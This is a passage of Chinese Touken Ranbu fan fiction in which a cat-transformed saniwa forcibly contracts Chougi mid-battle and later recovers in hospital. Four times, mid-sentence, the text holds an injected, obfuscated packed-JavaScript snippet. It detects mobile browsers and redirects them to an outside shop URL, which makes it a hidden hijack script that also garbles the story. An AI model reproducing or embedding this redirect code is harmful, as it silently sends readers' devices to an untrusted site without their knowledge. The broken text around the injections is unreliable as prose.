要知道,时之政府虽然在其他方面可能做得不怎么样,但在时空的掌握上还是无可指摘的。为了保护审神者们的安全,防止被时间溯行军直捣后方,万屋从创立之初就一直漂浮在时间中,并且每隔一段时间就会更换坐标,而更换坐标的时间和位置都是不固定的…… 不,这样说或许太绝对了。并不是所有信息都不能被得知,唯一能被记录的,是审神者通过时空转换装置来到万屋那一刻的坐标。不过所有的信息都只是被记录在时之政府那里,别说付丧神了,连审神者自己都没法知道。 但现在已经没时间去想这些了,更重要的是如何应对可能突破万屋屏障来到这里的时间溯行军。长义这个时候无比庆幸今天万屋没有什么特殊活动,因此这个时候在这里活动的审神者并不算太多。 他快走两步,将怀里猫猫祟祟探出一个头的鸢尾猫装进南泉口袋里。 “你先带着她去疏散别人,记得通知时之政府派人支援。” 长义将南泉往外推了两步,自己拔出刀挡在前面。 还好出阵回来没来得及换衣服,没有穿着内番服就过来万屋,不然现在可能连抵挡的武器都要随地现找了吧。长义分神感叹了一下,也不知道这样是算幸运还是不幸。 身后的南泉呼吸僵窒了一下,但怀里小猫不舒服的乱动唤回了他的思绪。 ……他捏紧了拳头。虽然不想让同伴一个人面对后面可能会出现的不知道多少敌人,但这无疑是现在让伤亡损失降到最低的最好解决办法。而他现在能做的,就是尽快让还不知情的审神者们离开,并以最快的速度将援兵带过来。 “知道了,……等我一下!”留下这样一句话,南泉用尽全力向小路外面跑去。要快,要快。小猫在口袋里随着他的动作颠簸着,但她似乎也知道现在发生了什么,没有发出一点声音,乖乖地待在里面不动。 南泉向万屋中心的工作室跑去。因为之前为政府工作,他知道那里有联通整个万屋的广播,能够尽快将信息传达给在这里的所有人。在急速奔跑的时候,他还掏出随身携带的通讯器,手指灵活地在上面打字,编辑好汇报情况和求助信息向时之政府总部发送出去。 另一边的长义此时也面临着不小的麻烦。 刚开始裂缝并不大,一次只能容许几只敌短敌胁出来,所以他一个人还能较轻松地应对。可是随着后面墙面的时空裂隙不断延伸,密密麻麻的不同时间溯行军类型都跑了出来,将他层层围住。 “该死的。” 长义忍住右手手臂上裂开的伤口带来的疼痛,利落地将制造出这个伤口的敌打斩于刀下。他不是没有尝试过将裂缝堵住,可是实体的东西似乎并不起作用,时间溯行军还是源源不断地踏出来。 体力再这样消耗下去,恐怕就拖不到援军过来的时候了…… 长义咬住牙关,突兀地笑了一声。 但是那又怎样呢?这样就想突破他的防线吗……呵,未免也太小看他了吧。 他抵住敌太刀的攻势,旋身一躲,顺势将刀刺入旁边敌枪的体内。背后可以感受到敌刀即将落下的风声,可是他现在被几只难缠的敌短围住,无法顾及身后。本来打算咬着牙硬抗下这一击,当刀落在他身上时,却没有传来他想象中的疼痛,而是像砍在了什么坚硬的物体上。 ?怎么回事…… 不知道发生了什么,但确实是对自己有利的情况,长义冷笑一声,将刚刚阻拦着自己的几只敌短砍成两半。 “咻”,耳边传来破风的声音,一支箭矢插进他旁边的时间溯行军体内,并与他同时消散。 时之政府的援军?这么快就到了吗? 长义皱了皱眉,趁着时间溯行军被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023552|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几只飞矢吸引了部分注意力,从被层层包围的缝隙中向外瞄了一眼。 看清了援助的人,他的瞳孔不由得收缩了一下。 审神者?她什么时候恢复的? 不对,刚刚不是让南泉把她带走了吗?那家伙怎么回事?不会是把她弄丢了还不知道吧…… (在另一边的南泉:忙着维护疏散,忙着召集现场可以战斗的付丧神,忙着等时之政府的回信。并没有注意到口袋里的异常,还感慨审神者大人实在太听话了,知道他忙不过来,就乖巧待在口袋不乱动……) 其实说是恢复,鸢尾并没有完全正常——从外形上就可以看得出来,她现在还顶着两个猫耳朵,因为正凝神注意着时间溯行军的行动,所以两只耳朵还微微折成了飞机耳。 刚才也是她帮了他吗?长义继续投身战斗,但却分了一丝心神给刚刚的异常。本来应该落在他身上的伤却被挡住了——这样看来,自己不就欠了她好几个人情了吗…… 鸢尾倒是没想这么多。 她现在还保留了作为猫时的记忆。变成猫的时候,她作为人的意识好像被隔绝了,只能通过猫的思维了行动。之所以在吃小鱼干的时候那么躁动不安,是因为她更先一步感知到了时间溯行军的气息,身体的本能驱使她靠近并消灭这股气息。 ……但她当时还只是一只脑容量小小的猫猫,在到了这里之后,反而不知道自己改做什么了。 之后时间溯行军出现,她被浓烈的/与她的身体相排斥的气息进一步刺激到了,被塞进在南泉口袋里的时候才终于恢复了作为人的记忆。 顺着口袋在跑动时的颠簸,她跳了出来,大部分变回了人的样子——还好不知道是不是作为猫的毛皮顺带变成了作为人穿的衣服,不然她可能也要苦恼一阵了。 不过灵力还没有完全恢复回以前的样子,能使用出来的可能只有七八层吧。鸢尾感知了一□□内的灵力储备,做下判定,要是再超过这个限度,自己恐怕又要变回猫了——至少在这个时候不能让这种情况发生,否则她还会拖累长义。 可是……看时间溯行军的态势,完全就是源源不断啊。 不清楚他们具体投入了多少兵力在这里,不过这里也确实是让大家都没预料到的薄弱之处,抓到了这个弱点,想必他们绝对不会善罢甘休的。 “唔。” 即使有鸢尾的支援,还是无法面面俱到,两个人在如蚁群般黑压压一片的时间溯行军面前,力量还是略显单薄。长义一时不察,肩膀又多添了一处新伤。 不能再这么下去了。 鸢尾担忧的眼神透过包围落在长义身上。他的攻势仿佛没有受到越来越多的伤口的影响,但鸢尾因联系射箭而越发敏锐的眼神还是可以感知到他因疼痛而产生的微微颤抖。 要治疗,怎么治疗…… 鸢尾眸光一闪,又坚定下来。 抱歉了,长义君,特殊情况就只能这样——如果你不愿意的话,这次危机过后我会好好道歉并按照你的意见解除的。 44.强制与契约 “强制契约”,这是鸢尾以前在辛黎给的书中看到的。 对于由审神者锻造出来的刀来说,他们从显形起就自动与审神者缔结了契约;而对于在合战场的野生刀剑或是为时之政府工作的刀剑来说,他们本身与审神者并没有着契约的关系。 而且他们还不太一样。在合战场发现的刀剑们,他们没有任何契约关系,所以只要接受了审神者的灵力,就可以自动与审神者建立关系。但为政府工作的刀剑们早已与时之政府有着契约关系,所以派到各个本丸的监察官们在去之前都要先解除与政府的联系,才能与审神者建立契约。 强制契约,就是在刀剑们还未解除与时之政府的契约时,审神者通过向刀剑注入大量自己的灵力,抹除他们之前的契约,建立与自己的联系。 与之前肥前的情况还不太一样,他用的是由政府提供的委托符,相当于过了政府明面的正规载体;而强制契约是直接向付丧神输入灵力,从名字就可以看得出来,带有点“强迫”的性质。 “不过这只是理论上的想法啦,想要做到这一点需要的灵力可不少,所以到现在还没有听说过这种情况。” 在面对自己关于这样是否会对刀剑产生强迫认主的问题时,辛黎摆摆手回答道,“再说了,时之政府也不是吃干饭的。如果被强制契约的政府刀对审神者怀有强烈的排斥,那么灵力波动就会引起政府给政府刀下的禁制,打断契约过程……所以你就放心吧。” 当时的自己确实是放心了,可是遇到像现在这样的紧急情况,鸢尾还是发现自己放心的太早了。 长义的体力逐渐不支,而自己仅靠射箭只能远攻,同时灵力也受限,没办法为他提供太多的帮助。但想要为付丧神手入或是提供灵力支援,都需要依赖于审神者与付丧神之间的契约——这就是现在最大的困难。 对于书中提到的大量灵力,鸢尾具体也不清楚需要多少,但她自己估摸了一下,用掉十分之六左右说不定可以一试。 可是,强制契约还需要付丧神对审神者并没有那么排斥……对于这一点,鸢尾也是心有余而力不足了。 她还保留着猫的记忆,也就是说——对于一个初见就变成猫扑到自己脸上,整天在自己身边跑酷,突然就契约了自己的同事……这样的一个审神者,长义是否能对自己保留着“不排斥”的态度,鸢尾实在是说不准。 不过,总要试一试啊……毕竟这是现在她能想到的最好的方法了。就算不成功,她的灵力也能帮他恢复一点,不算全部浪费…… 鸢尾转身又放出三支箭,消耗了一下时间溯行军的行动速度,一边将自己的灵力凝结成微不可见的丝线,隐藏在敌人中悄悄向长义探去。 在战斗状态下,山姥切长义本身就比平时还有敏感一些。当察觉到有微弱但熟悉的灵力想自己袭来,他皱了皱眉,不动声色。 轻盈的灵力丝线在他面前顿了一下,仿佛在观察他的状态,看到他并没有表现出明显的情绪后试探着缠绕在他手上。 她想干什么? 长义握刀的手指末端控制不住地颤了一下。 审神者的灵力与他体内的契约产生共鸣,也在相互排斥着,他现在就像置身一半是冷水一半是热水的池子,有种冷热交加的难受,但渐渐习惯了之后,又有种奇怪的刺激感。 在战场上不能分心,他只能敛眸压下眼中莫名的神色,发泄似的转腕,大力挥刀清出面前的一块空地。 与他有所连接,鸢尾察觉到长义并没有太多排斥,也松了一口气,加大了灵力的输送,希望能缩短一点时间。 更多细细密密的轻丝像网一样蜿蜒着缠绕上他的手腕,就像在他身上留下一抹奇异的花纹。 “唔!”长义的瞳孔猛烈地缩了一下,喉结上下滑动,将口中的声音吞下。 到底是……什么?! 如果不是出于对鸢尾的信任,恐怕在丝线第一次缠绕上他的时候就被他挥刀斩断了。可是现在,纵容的结果却是体内越来越奇怪的感觉。 好像一团火在他身体里剧烈地燃烧,可是传达到体表的温度却是温和的、无害的。但是……长义在身体的挣扎中细细感知,突然明白了她的意图—— 并不是自己的错觉,也不只是因为发泄而变得更有力气了,是体内的灵力确是在不断增长,与时之政府的契约联系也在慢慢减弱,取而代之的是另一股温柔又强势的灵力。 她在契约自己。 长义的头脑里无端产生了这个想法。 他也不清楚自己是出于什么样的想法,但他发现,自己并没有太多的排斥的感觉,好像一切都是自然而然的。 ……为什么会这样? 他的眼睛空茫了一瞬,但时间溯行军可不会给他放空的时间,立即抓住机会向他袭来。 长义身体的战斗本能让他躲过了这一招,刚好在下一瞬,鸢尾与他的契约正式形成,一种从未有过的轻松与力量涌上他的四肢。 不远处的鸢尾也卸了力,呼出一口浊气,强撑着又射出一箭,消耗了大部分灵力的身体虽然快要跟不上意识的节奏,但射出去的几箭还是正中目标。 “呵。” 强制自己将注意力放在眼前,长义冷冷地环视四周,时间溯行军依然无止境地向他和鸢尾聚拢。 —— 等南泉带着临时在万屋召集的付丧神赶来的时候,看到的就是长义拦腰抱着一个看不清面容的审神者从时间溯行军的包围中突围出来。 长义来到后方,将那位审神者的额头靠在自己的肩膀上,她闭着眼睛急促地呼吸着,不知道为什么头上还顶着两只毛绒绒的猫耳朵。来不及多问,面对战线向前推进的敌人,其他付丧神急忙投入新一轮的战斗。 注意到长义的肩膀上染上一大片血迹,南泉急忙迎上去,“你没事吧喵!?” “不是我的血。”长义皱了皱眉,眼里是南泉看不懂的别扭与隐晦的担忧,“时之政府援军来了吗?有没有随行的医护人员?” “噢噢,刚刚回消息说快到了……”南泉咽了咽喉咙,眼里流露出无措与愧疚,“怎么办啊,我好像把审神者大人弄丢了喵……” 他低下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028244|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,耷拉着肩膀,因此也就没有看见长义一言难尽的眼神。 “……你要不要看看这是谁。”他将已经脱力失去意识的鸢尾往自己怀里揽了揽,一只手打字提醒着时之政府顺便把负责照顾鸢尾身体的医护也带上。 听到他的话,南泉沮丧地抬起头,“是谁也……等等,这是鸢尾大人喵?!她什么时候恢复的?为什么现在又昏迷了……” 南泉瞪大了眼睛化身为十万个为什么,看着鸢尾带着不健康的红色的脸颊,想伸出手试试她的体温,却在半路被长义拦下了。 忽视南泉疑惑地望过来的目光,长义轻咳一声,“赶紧去支援吧,她我来照顾就好了。” “哦,哦……”南泉习惯性地应下,拔刀投入前线的战斗。他后知后觉地想起来,好奇怪,刚刚长义居然没有用那个讨厌的称呼叫他了…… 长义此时没管那么多。从鸢尾不知道用什么方法强制抹去他身上本来的契约,与他缔结了新契约后,他就能大概地感知到她的身体状况。 现在很不妙。这是契约反映给他的。她现在的体温忽高忽低,凑在耳边叫她也没有反应…… 托着她找到一个相对安全的地方,长义皱着眉攥住她的手,给她回输了部分灵力。 但仍然是杯水车薪——他能感受到源源不断的灵力从她身上逸散出来。 “……喂,你可别。。。” 他没有继续说下去,或许是觉得对一个昏迷的人自言自语没必要,或许是别的什么无法言说的原因。 唉,没想到出一趟差还要把自己搭上…… 银白色的发丝凌乱地垂下来,盖住他的眼眸。他等着时之政府的回信,一边关注着外面的战况,一边聊胜于无地回输着灵力,盯着鸢尾的脸不知道在想些什么。 看着她的眉心因为不舒服一直皱着,产生了一道小小的褶皱,长义忽然恶向胆边生,一把掐住了她没什么肉却意外软乎乎的脸颊,还往外拉了拉。 “咔嚓”。 不远处突兀的传来踩在碎玻璃上面的声音。 听到这个类似时空界限破碎的熟悉声音,长义身体一僵,警觉地朝发声处望去。 呼,还好只是时之政府的医疗人员。长义松了口气,觉得自己从今天之后估计都要对这种类似玻璃碎掉的声音过敏了。 ?怎么不过来…… 他向穿着白大褂的他们望去,顺着他们没有被口罩遮住的震惊目光,看向了……自己的手。嗯,还没从鸢尾的脸颊上松开。 他瞳孔一颤,以肉眼不可见的速度将手收回来。 擦了擦鸢尾脸上的红痕,长义试图解释刚刚发生了什么。 “那个……” “我们都懂的,没关系,我们是不会乱说的!”医护人员们回归了正常的表情,仿佛一切都没发生过一般急忙从他手上把鸢尾接过来。 只是,默默将他与鸢尾隔绝开的姿势仿佛在向他说明,其实他们好像也没有完全懂。 “……” 长义将目光冷冷地落在自己的手上。 死手。 45.爱与承诺 长义与南泉靠在苍白的墙上,消毒水的气息弥漫在鼻尖。 人类……真的很脆弱啊。 与他们不一样,他们受伤了,只要不是完全的破坏,通过手入与加速符的作用就能很快恢复如新。可是对于人类来说,流血就是流血,受伤就是受伤,任何的伤害都会在他们身上或是生命中留下印记。 她也是这样。 长义将自己的斗篷解下来,上面凝固着一角殷红色的血。原本是温热的,可是过了太久,这里的温度又太低,现在只剩下冷冰冰的感觉。 她与自己的契约明灭着断续,让人无端产生一种恐慌的感觉。 现在终于知道为什么有时候会在政府听到有关她的付丧神性格和一般的付丧神不太一样的说法了。 一把刀,要么被使用,要么被丢弃,可若是那把刀明知道自己是有主的,却要被硬生生隔绝掉与主人的联系,那他又怎么会甘心呢? 长义扯了扯嘴角,将沾血的斗篷轻轻放在旁边的椅子上。 急匆匆的脚步在旁边停下,长义抬头,了然地看到本丸的药研,不过倒是没想到本来还是猫的加州清光倒也恢复了。不过也是,她现在灵力紊乱成这个样子,猫化恢复倒也不奇怪了。 “现在怎么样了?”药研紧紧地拉住他的手臂,反光的眼镜遮住了他眼底的神色,但语气中却带着明显的滞涩。旁边的加州清光一言不发,失神地望着紧闭的门。 长义刚想开口,旁边的门突然被推开。众人的目光同时聚集在戴着口罩的医生身上。 被这样几道刺人的目光盯着,见过许多大场面的医生也不由顿了一下。 “咳,病人已经没什么大碍了。这次她倒是有意识地控制着自己灵力的使用情况,没有像前面几次那样损耗自己……” 眼看医生提起这个话题,又忍不住开始向他们吐苦水,举例论证前面几次对她身体的损伤有多大,她不把自己身体放心上,他们也不好好看着……长义赶紧叫停,“可是她来之前吐了很多血,这样也没事吗?” “哦,那倒还好。”医生成功被他转移了注意力,“那是之前郁结在她体内的血,这样咳出来对身体也有好处,不过后面还是要好好养着。我去开一些药,你们谁跟我过来拿?” “我去吧。”听到鸢尾这次的情况没有之前那么危险,收到消息急忙赶来的药研也放下一点心来。因为对药品比较熟悉,他主动接下这个任务。 与清光对视了一眼,他转身跟着医生离开。 清光呼出一口气,看着病房里面还在休息的鸢尾,并没有选择在这个时候去打扰她,而是向电梯走去。 “你去哪?”注意到他的动静,长义收回自己落在鸢尾苍白的脸上的目光,向清光问道。 清光背对着他摆摆手,“不知道为什么我们家的审神者一出门就会遇到特殊情况呢……这次也是,上次去异世界也是,上上次去本能寺也是,困扰我们这么久了,总得在她醒来之前好好解决一下这个问题吧?” 不能总让她操心啊……清光敛下的眸子里闪过一丝暗芒,嘴角微不可查地向下撇了撇。 “……等一下。” “嗯?”清光回过头,虽然没有说什么,但眼睛里却是一副“想拦着我就先把你首落了”的神色。 “我跟你一起去。”看出他眼里的警告,长义无奈地叹了口气,继续说道,“好歹我现在也是她的付丧神了,总不至于拦着你的。” “喵!?长义你和审神者签订契约了?什么时候的事!”清光还没有反应,旁边一直蹲在墙角被忽略了个彻底的南泉先炸开了毛。 怎么回事啊这些人,一个两个的都偷偷和审神者签订了契约……难道她身上有什么奇怪的吸引力?等回去的时候,御前大人不会突然告诉自己他也签订了契约吧…… 南泉露出一副宇宙猫猫升华的表情,突然灵光一现——我知道了,这一定是时之政府的特殊任务!等回去就把这个发现告诉御前大人喵! 旁边的两人不知道他脑补了些什么,只能看到他一会儿皱眉,一会儿沉思,一会儿又恍然大悟……总之,是十分精彩的表情呢。 清光本来也挺惊讶的,但是看到南泉的表现,嘴角不自觉抽了抽,最终还是欲言又止地闭上嘴,选择不去打扰他正在思考的“刃生大事”。 他向长义使了个眼色,示意他跟上,两人悄悄按下电梯,等南泉终于推测出正确答案(自以为)的时候,已经没影了。 “诶?人,人呢……喵?” —— 尚处在昏迷中的鸢尾倒是不知道外面发生了这么多事,昏昏沉沉地睡了一觉,再醒来的时候已经是傍晚了。 先映入眼帘的是熟悉的天花板,一看到这个,鸢尾就知道自己现在应该还躺在时之政府的医院里。嗯,十分熟悉,是她除了本丸之外的第二个常驻的地方。 向左边望去,布制窗帘被人拉起来,阳光被隔绝在外面,能听见冬风呼啸着从窗户外面穿过的声音。一缕阳光被禁锢在地板上,屋内的空气里氤氲着过分的静谧,除了淡淡的呼吸声再无别的动静。 好安静…… 刚冒出这个想法,鸢尾的脸颊就被两只长着薄茧的手轻轻捧住,转向另外一边,耳边传来清光拉长声音的撒娇声,“诶——主人醒来之后都不想看我一眼吗?” “清光。” 鸢尾眉间的沉郁化开,露出一个小小的微笑,手从被子里面抽了出来,搭在他捧着自己脸颊的手上,“清光,好想你啊……” 一边说着,脸还在他手心里小幅度蹭了蹭。一丝痒意从与她接触的手心手背传到清光的心里,传到他尾椎骨的最后一节,让他原本想说的话最后都只能化为一声叹息。 “啊——好狡猾啊,主人……” 鸢尾不接他的话,只是在昏暗又静谧的屋内直直地盯着他,带着笑意用目光描摹他的一丝一寸。 “不、不许看了!” 大失败……完全是丢盔弃甲了啊,加州清光。 嫣红一寸一寸地从她没有重量的目光下冒出,清光连忙将手从她的手心里抽出来,一只手捂住她的眼睛,一只手遮住自己红得可以冒烟的脸颊。 “怎么能这样看着我……又不是没看过……”他一边给自己扇风一边碎碎念。 “虽然看过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037180|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是每一次看到清光的时候,就会忍不住再仔细地看一遍,这样就可以认真的把你记在心里啦……不过说来,这也不是我的问题吧,都怪清光长得太可爱了。” 听到他的碎碎念,鸢尾理不直气也壮地开口,直接将锅甩回他身上。 “什、什么嘛……这样说也太犯规了。”他顿了一下,又小小声地问,“所以,是有在爱着我的……吧?” “难道清光感觉不到吗?” 感觉到什么啊……遮着她的眼睛,清光只能感觉到她纤长的睫毛扫过自己的手心,其余的什么也感觉不到,包括自己剧烈跳动的心跳。 “当然是感觉到……我对大家的爱呀!”鸢尾忽然一把拉下他的手,露出的蜜色眼睛抓住他,调皮地向他眨了眨。 …… 什么嘛…… 白紧张了,感觉脑回路完全不在一个频道上啊。 虽然是这样想着,但清光的脸上还是控制不住地勾起嘴角。 算了,迟钝点也好。 这样想着,清光还是没好气地给了她一个脑瓜崩。看着她捂住额头露出少见的茫然的表情,他的笑容扩大了一点,顺便将心里那些奇奇怪怪的情绪又往深处藏了藏。 虽然不太懂清光为什么突然弹了自己的脑门,但看到他笑了起来感觉轻松了点,没有刚刚第一眼看见时的那种像一张拉满的弓的感觉,自认为达成安慰效果的鸢尾也放下心来。 “嗯……你们是什么时候恢复的呢?” 看着清光突然从旁边的床头柜上端起一碗乌漆嘛黑的药汤向她凑近,鸢尾屏住呼吸往后仰,一边僵硬地转移话题。 “具体时间我们也不太清楚,不过刚恢复没多久就收到了时之政府传来的信息,上面说我们的审神者大人又受伤了,让我们来两个人到这里来……” 完蛋,精准踩雷了。 听到清光在“审神者”、“又”和“这里”加重了语气,鸢尾就知道自己找了一个绝对不妙的话题。 虽然已经在心里泪流成河,她在表面上还是强装淡定地开口,想要让清光遗忘掉这个危险的话题。 刚张嘴,一勺温度刚好、口感绝糟的药汤准确塞进她的嘴里。 “!唔……” 好苦好苦好苦……能不能找人帮她把舌头拔掉……或者砍掉也行…… 鸢尾紧紧地皱起眉,艰难地将这口药咽下去,小心翼翼地和笑容危险的清光打商量。 “我、我自己喝行不行……” “主人刚醒过来,肯定还很累吧,这种小事让我们来就好了。”清光客气地回复。 果然……果然还在生气吧! 在某种程度上确实参透了真相的鸢尾泪眼汪汪地喝完药,瘫在床上如此想到,然后嘴里就被塞了一颗蜜枣。 “主人……也试着多依靠我们一点吧。” 清光好像有很多话想说,但最后也只是淡淡地将这一句说出口。 “总是一个人,也会很累的。如果害怕孤独的话,只要转过头,无论什么时候,我们都会待在你看得见的地方的。” 蹲在床边,望进她的眼睛,清光如此承诺。 46.乌龙与调令 “这个小盆栽也想带回去。”鸢尾捧着一盆肉肉的熊童子坐在病床上,脚交叉着无意识晃了晃。 清光和堀川忙忙碌碌地在帮她收拾东西——在连续被药汤折磨了几天之后,她终于被医生放归本丸了。 这几天本丸的大家都陆续分成几批过来看她,在病房里添置了许多给她解闷的东西。亮晶晶的宝石摆在床头,小猫掉的毛做成的羊毛毡娃娃藏在被子里,万叶樱干花的书签夹在扉页上……给原本冷清清的病房也添了几丝人气。 不过整理起来就没那么方便了,所以本丸的大家今天还专门顶替了清光和堀川的工作,好让他们两个可以过来帮忙收拾一下。看着他们忙个不停,鸢尾也想帮忙。晃晃荡荡地到这里,被堀川塞了个削好皮的苹果;飘飘悠悠到那里,被清光推到病床上坐着,还给她搭上了个不知道从哪里翻出来的小毯子。 ……好吧,看来不是很需要她呢。 于是鸢尾选择坐在床上乖乖在苹果氧化变丑之前啃完它。 病房里的窗帘被拉开了,暖融融的阳光轻轻笼罩在摆在窗台的那盆小多肉上。被阳光透过的肉肉叶子,就像一颗颗青苹果味的软糖,仿佛能将周围的空气也染上酸酸甜甜的味道。 鸢尾将吃完的苹果核丢进垃圾桶,擦干净手,将小盆栽端到眼前细细端详。 辛黎告诉她这种多肉品种叫做熊童子。嗯,肥肥的绿色小熊掌上还点缀着可爱的红,轻轻地捏起来还软软的,虽然没见过真的熊掌,不过这盆小多肉真的很符合小短刀们看的童话里可爱小熊的手的样子呢。 这是辛黎刚刚才送过来的,其他人还没有见过,鸢尾想把它带回本丸。 堀川听到声音转了过来,就看见鸢尾捧着小盆栽认真地看着他们,还没有消失的猫耳朵悄悄折成了飞机耳。 “好啊,主人想带回去的话……用这个装起来吧!”堀川找到了一个结实的袋子,忍住声音里的笑意将它递给鸢尾。 猫耳朵,真可爱啊。 余光盯着小心翼翼将盆栽装进袋子里的鸢尾,堀川不由感慨。 两个人都是整理东西的好手,所以即使病房的东西有点多,不过半个多小时就整理好了。 “走吧,我们回家了。” 鸢尾提上自己装了盆栽的袋子,站在病房门口回头对两个人莞尔一笑。 回家。 听到这个词,身后的两人身形一滞。 “嗯,回家了!”清光率先回过神,推着行李箱率先占据了鸢尾身边的位置,“主人都好久没帮我涂指甲油了,我的指甲都花掉了……” “嗯嗯,回去就帮清光补涂好不好?”鸢尾回头向堀川招了招手,“堀川,快点跟上哦。” “……是!”堀川水蓝色的大眼睛微微弯起来,阳光透过纤长的睫毛照进眼底的一瞬间,看起来就像晶莹的蓝绿色宝石。他大步向前,填补上鸢尾身边的另一个位置。 三人向政府的时空传送阵走去,不过在看到等在那边的几个人之后,清光和堀川扬起的嘴角就微不可查的落下了些。 “哟,审神者大人,”看到他们的身影,一文字则宗依旧不慌不忙地摇着他的那把折扇,慢悠悠地讲道,“收到时之政府的命令,今后我们几个就要麻烦您的照顾了呢。” 南泉从一文字则宗身后探出一个猫猫头,也眼巴巴地盯着她。南海太郎朝尊抵了抵自己的眼镜,笑着朝他们微微颔首。至于肥前和长义……嗯,在鸢尾待在时之政府的这几天里,已经在本丸大家的帮助下成功融入了本丸呢(笑)。 一文字则宗将自己的表情掩盖在折扇后面。会如何反应呢,这位审神者?在遇到了这样的事情之后,又是为政府工作的付丧神入驻本丸……是会怀疑他们,还是暂时按下不表呢?不过嘛,他也不知道政府是怎么想的——在这种时候将他们派到审神者的本丸里,真的不会被当做是威胁吗?哈哈哈…… “嗯……可是我暂时还没有收到信息呢?” 不过一文字则宗没有等到他想象中的反应。鸢尾低头翻看了一下自己的通讯器,奇怪地抬起头看着他们,一双猫耳也因为疑惑而微微向两边弯出一个小小的弧度。 啊……啊?! 没想到是这样的回答,一文字则宗摇着折扇的手也不由得顿了一下。虽然知道时之政府在某些方面确实是很不靠谱,但在人事调动上都捅出这么大的娄子,是要他们这些上了年纪的人追在后面帮他们擦屁股吗…… 听到鸢尾的话,南泉也迷迷糊糊的,“啊?难道是政府通知错了喵……”。一旁的南海太郎朝尊也微微皱着眉,掏出自己的通讯器确认了一下,打开调任邮件递给鸢尾,“这是政府的邮件,您可以确认一下,审神者大人。不过会出现这样的失误,政府也确实是……” 因为现在身份还不太方便,南海太郎朝尊的话就停在这里。鸢尾同情地看了他一眼,和清光与堀川一起辨认了一下通讯器上面的调令。快速浏览了一遍,看到邮件后面的特殊公章,鸢尾就大致确定了——不过不知道为什么,清光和堀川倒是一字一句地盯了这封邮件很久,惹得南泉偷偷看了他俩好几眼。 “鸢、鸢尾大人!”狐之助匆匆忙忙地背着一个小背包冲过来,“咱来了咱来了!” 它一个急刹车在鸢尾跟前停下,从背包里抽出一份文件,“是时之政府的调令!之前派去您本丸的几位付丧神都会到您的本丸去,成为您的刀……呃!” 突然感受到一阵毛骨悚然的感觉,狐之助停下了话头,小心翼翼地抬眼,“怎、怎么了吗?” “哈哈哈,没什么没什么,就是我这个老头子在这里等了这么久,没想到狐之助还是挺悠闲的嘛。”悠闲到他们刃都要去本丸了,调令还没发下来。 “咳咳咳,咱、咱错了嘛……对不起对不起!” 狐之助汗颜,赶紧撒娇求饶。没办法,刚刚带着调令来这里的路上就遇到买完油豆腐回来的村口大人,他又那么热情,它一下忍不住诱惑就吃了几口——没想到就拖了这么久,到鸢尾大人病房的时候,他们都已经不见了,它这才知道来晚了… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044561|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … “那、那清光殿和堀川殿呢?” 它可怜兮兮地将目光移向另一边同样吓狐的清光他们,缩着脖子问道。趁现在鸢尾大人还在要赶紧撒娇!不然到时候回到本丸自己就惨了…… “啊——没有呢?我们可没有什么意见哦,狐之助最近眼神又不太好呢。”看到鸢尾也跟着看过来,清光露出一个和善的微笑,“是吧,堀川?” “是啊。可能狐之助刚刚跑过来太累了吧,需要我抱着你吗?”堀川应和道,蹲下身做出一副要把狐之助抱起来的样子。 “不用了不用了!哈哈那就是咱看错了……”狐之助蓬松的毛下打了一激灵,赶紧跳到鸢尾腿边,将政府文件递给她,“哈哈鸢尾大人快点看吧看完咱赶紧回去了哈哈……” 好笑地看了它一眼,鸢尾将它抱起来,顺便抽过文件仔细浏览。待在鸢尾怀里,狐之助也有了底气,蹭着她温热的脖颈发出哼哼唧唧的声音。 “签了名就可以了吗?”鸢尾微不可查地顿了一下,翻了翻身上的口袋,“好像没有带笔呢……” “啊,我这里有。”南海太郎朝尊拿出随身携带的笔,打开笔盖递给鸢尾。 “诶,谢谢。很少看到会随身带着笔的付丧神呢。”鸢尾接过来,随口说了一句。 “是,因为我对研究刀剑这件事比较感兴趣,所以会随时带着笔和纸方便记录一些事情。” 